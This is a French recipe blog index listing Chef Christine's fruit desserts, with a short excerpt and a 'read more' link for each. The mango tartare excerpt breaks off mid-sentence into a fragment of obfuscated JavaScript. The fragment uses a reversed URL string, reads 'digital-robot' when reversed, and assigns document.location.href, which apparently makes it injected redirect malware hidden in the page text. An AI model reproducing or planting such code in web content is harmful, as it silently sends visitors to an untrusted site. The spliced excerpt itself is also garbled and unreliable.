Chef Christine..
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Toutes les recettes et articles de Christine..
Poires rôties aux épices avec du rhum
Brossez, rincez, séchez le citron non traité. Prélevez le zeste du citron, et faites le ...
Christine.. Lire la suitePoires au rosé et aux épices
Pelez les poires en les laissant entières et en conservant la queue. Citronnez-les pour éviter ...
Christine.. Lire la suiteCompote de poires à la cannelle
Pelez, coupez en deux les poires. Ôtez le cœur. Détaillez-les en petits dés. Citronnez-les pour ...
Christine.. Lire la suiteFigues au gratin
Rincez, séchez et fendez les figues en quatre sans détacher les quartiers de la queue. ...
Christine.. Lire la suiteSabayon au champagne et aux fruits
Rincez, Coupez-les pêches en deux. Ôtez le noyau et les détailler en fines lamelles. Préparez ...
Christine.. Lire la suiteTartare de mangue, pistaches et sirop de rhum orangé
Pelez et coupez en petits dés la mangue. Préparez le sirop en mélangeant tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if ...
Christine.. Lire la suiteNage de fruits rouges à la fève tonka
Déposez tous les ingrédients dans le bol du mixeur avec 100 g de fruits. Râpez ...
Christine.. Lire la suiteSabayon de mangue à la pistache
Pelez, Coupez-les mangues en petits dés. Répartissez les pistaches et les mangues, dans des ramequins ...
Christine.. Lire la suiteGratin d’oranges au miel
Pelez les oranges à vif et les détailler en quartiers. Déposez-les dans une bassine avec ...
Christine.. Lire la suitePoires gratinées au bleu d’Auvergne
Rincez, séchez et coupez en deux les poires. Ôtez le cœur et les pépins. Déposez-les ...
Christine.. Lire la suiteLes Recettes
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